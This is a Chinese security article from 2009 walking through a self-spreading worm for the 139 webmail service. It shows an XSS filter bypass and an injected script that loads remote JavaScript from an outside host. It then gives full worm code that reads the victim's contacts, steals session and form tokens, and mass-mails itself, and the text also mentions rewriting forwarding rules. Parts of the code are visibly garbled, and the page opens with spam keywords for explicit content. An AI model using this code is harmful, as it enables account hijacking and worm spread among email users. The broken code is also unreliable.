自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

139郵箱蠕蟲(chóng)編寫實(shí)例

安全 應(yīng)用安全
我們經(jīng)常會(huì)用到的mail.139.com,由于對(duì)郵件正文過(guò)濾不嚴(yán),導(dǎo)致存在xss漏洞。他們盡管實(shí)現(xiàn)了對(duì)style="xss:expression"進(jìn)行過(guò)濾,但是可以通過(guò)添加/* */繞過(guò),如:。在添加/* */后,該腳本能夠在IE瀏覽器執(zhí)行

139郵箱蠕蟲(chóng)編寫實(shí)例

Author:[sh0wrun],[woyigui]

Date:2009-09-09

聲明:該漏洞已報(bào)告并已修復(fù),切勿用于非法目的。

原理分析: 

我們經(jīng)常會(huì)用到的mail.139.com,由于對(duì)郵件正文過(guò)濾不嚴(yán),導(dǎo)致存在xss漏洞。他們盡管實(shí)現(xiàn)了對(duì)style="xss:expression"進(jìn)行過(guò)濾,但是可以通過(guò)添加/*  */繞過(guò),如:。在添加/* */后,該腳本能夠在IE瀏覽器執(zhí)行。
同時(shí),經(jīng)過(guò)分析發(fā)現(xiàn),mail.139.com中發(fā)送郵件的功能存在CSRF弱點(diǎn);可以通過(guò)Ajax技術(shù)獲取發(fā)送郵件所需要的mid值。另外郵箱的“通信錄“中的聯(lián)系人郵件可以直接通過(guò)javascript取出。
滿足了編寫csrf worm的3個(gè)條件,接下來(lái)的工作,就是通過(guò)編寫javascript代碼來(lái)實(shí)現(xiàn)了。

跨站代碼:

該部分要實(shí)現(xiàn)的功能就是,觸發(fā)瀏覽器去讀取遠(yuǎn)端的js腳本,并且執(zhí)行該腳本:

Original:

var ig =document.createElement("script");ig.src="http://192.168.9.104/woyigui/139.js";try {document.getElementsByTagName("body")[0].appendChild(ig);} catch (e) {document.documentElement.appendChild(document.createElement("body"));document.getElementsByTagName("body")[0].appendChild(ig);}

對(duì)該部分編碼按照10進(jìn)制進(jìn)行編碼,以避免關(guān)鍵字被替換,并調(diào)用:

該部分代碼,需放置在郵件正文中傳送。

腳本功能的實(shí)現(xiàn):

主要實(shí)現(xiàn)了如下功能:

1.通過(guò)腳本,讀取聯(lián)系人的郵箱地址。

該部分信息,可以通過(guò)top.LinkManList.concat()獲取。

2.通過(guò)腳本,獲取sid值

該部分信息,可以通過(guò)window.top.location.href,配合正則表達(dá)式獲取到。

3.獲取發(fā)送郵件所需要的mid值

在獲取到sid值后,通過(guò)script打開(kāi)"寫郵件"頁(yè)面,讀取mid值。

4.發(fā)送郵件

發(fā)送郵件功能只驗(yàn)證mid值,因此在獲取到正確的mid值后,連同獲取到的聯(lián)系人一起,構(gòu)造post數(shù)據(jù),發(fā)送郵件。
5.改寫郵件轉(zhuǎn)發(fā)規(guī)則和自動(dòng)回復(fù)規(guī)則

在有正確的sid后,構(gòu)造post。

完整代碼:

var xssed = false; 
if (typeof XSSflag != "undefined"){ 
  xssed = true; 
} 
var XSSflag = [ 
  {name: "version", url: "1.0"}, 
]; 
if ( xssed != true ) {   
  var xmlhttp; 
  //create XHR 
  function createXMLHttp(){   
      try { 
        xmlhttp = new XMLHttpRequest(); 
      } catch (e) { 
         var XMLHTTP_IDS = new Array('MSXML2.XMLHTTP.5.0', 
                     'MSXML2.XMLHTTP.4.0', 
                     'MSXML2.XMLHTTP.3.0', 
                     'MSXML2.XMLHTTP', 
                     'Microsoft.XMLHTTP' ); 
        var success = false; 
        for (var i=0;i < XMLHTTP_IDS.length && !success; i++) { 
          try { 
             xmlhttp = new ActiveXObject(XMLHTTP_IDS[i]); 
              success = true; 
          } catch (e) {} 
        } 
        if (!success) { 
          throw new Error('Unable to create XMLHttpRequest.'); 
        } 
     } 
  } 
  function domid (dourl) { 
    createXMLHttp();   
    var tmp = ""; 
    xmlhttp.open("GET", dourl, false);   
    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;"); 
    xmlhttp.setRequestHeader("Connection", "close"); 
    xmlhttp.send(null); 
    setTimeout( tmp = xmlhttp.responseText,500); 
    return tmp;     
  } 
  function startRequest(doUrl, tomail, subject, Content, account, mid, sid ){   
    createXMLHttp();   
    var params = "funcid=compose&sid="+ sid +"&mid="+ mid +"&hidRemoteIp=&ishtml=y&optype=
send.x&idOpType=&text="+ Content +"&destcgi=
&funcid=compose&netfdrhost=&to="+ tomail +"&cc=&bcc=&subject="+ subject +"&year=
&month=&day=&hour=undefined&compinfo_minute=&chkHtmlMessage_text=y&chkHtmlMessage=y&ifsavetosent= 
   xmlhttp.setRequestHeader
("Content-Type","application/x-www-form-urlencoded;"); 
    y&account="+ account +"&destcgi=&netfdrhost=&split_rcpt=n&return_receipt=0&priority=0"; 
    
xmlhttp.open("POST", doUrl, false);   
xmlhttp.setRequestHeader("Content-length", params.length); 
    xmlhttp.setRequestHeader("Connection", "close"); 
    xmlhttp.send(params); 
  } 
  function doMyAjax()   
  {   
     var strPer = '/coremail/cgi/attachfapps'; 
     var tomail = ';'; 
     var subject = "test20"; 
     var Content = "";
     var account = ""; 
     var sid = window.top.location.href.replace(/.*&sid=(.*)/,"$1"); 
     var tmpmid = domid("/coremail/fcg/ldmmapp?funcid=compose&sid=" + sid );   
     var mid="",text=""; 
     text=tmpmid.split("\n"); 
    for (var i=0;i < text.length; i++) 
    { 
      var patt=/name=\"mid\" value=\"/; 
      if ( patt.test(text[i])) 
      {   
        mid=text[i].replace(/.*name=\"mid\" value=\"(.*)\".*/, "$1"); 
        break; 
      } 
    } 
    var mail_address=top.LinkManList.concat(); 
    for (var i=0,len=mail_address.length;i;"; 
      } 
    } 
     try { 
       startRequest(strPer, encodeURIComponent(tomail), encodeURIComponent(subject), 
encodeURIComponent(Content), encodeURIComponent(account), mid, sid );     
     } catch (e) { 
       alert("send data error!"); 
     } 
  } 
  doMyAjax(); 
} 

【編輯推薦】

  1. 深入了解網(wǎng)絡(luò)中的蠕蟲(chóng)病毒
  2. Conficker蠕蟲(chóng)作者可隨時(shí)引爆“網(wǎng)絡(luò)核武器”
  3. 風(fēng)暴蠕蟲(chóng)可能向安全人員實(shí)施報(bào)復(fù)性攻擊
責(zé)任編輯:安泉 來(lái)源: 黑客防線
相關(guān)推薦

2015-07-20 10:27:50

DockerDockerfile創(chuàng)建實(shí)例

2020-04-03 10:14:57

內(nèi)存蠕蟲(chóng)代碼web安全

2011-04-06 09:39:49

mysql5存儲(chǔ)

2020-03-30 17:43:13

開(kāi)源開(kāi)源項(xiàng)目編寫文檔

2022-01-07 06:12:08

RPC框架限流

2011-06-16 17:54:30

Qt Mplayer

2010-09-15 08:52:03

2016-09-02 09:14:26

2011-07-05 17:54:43

QT Sqlite ARM

2014-05-14 13:13:59

2009-07-07 11:04:12

百變?nèi)湎x(chóng)病毒卡巴斯基

2009-07-07 22:52:21

2010-12-17 10:07:55

2017-02-15 08:20:13

2019-08-14 08:03:49

LinuxShell腳本web服務(wù)

2014-06-20 11:13:11

2010-10-12 16:14:37

蠕蟲(chóng)病毒計(jì)算機(jī)安全

2017-05-14 21:40:48

2010-09-27 11:23:53

2011-08-09 10:51:05

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)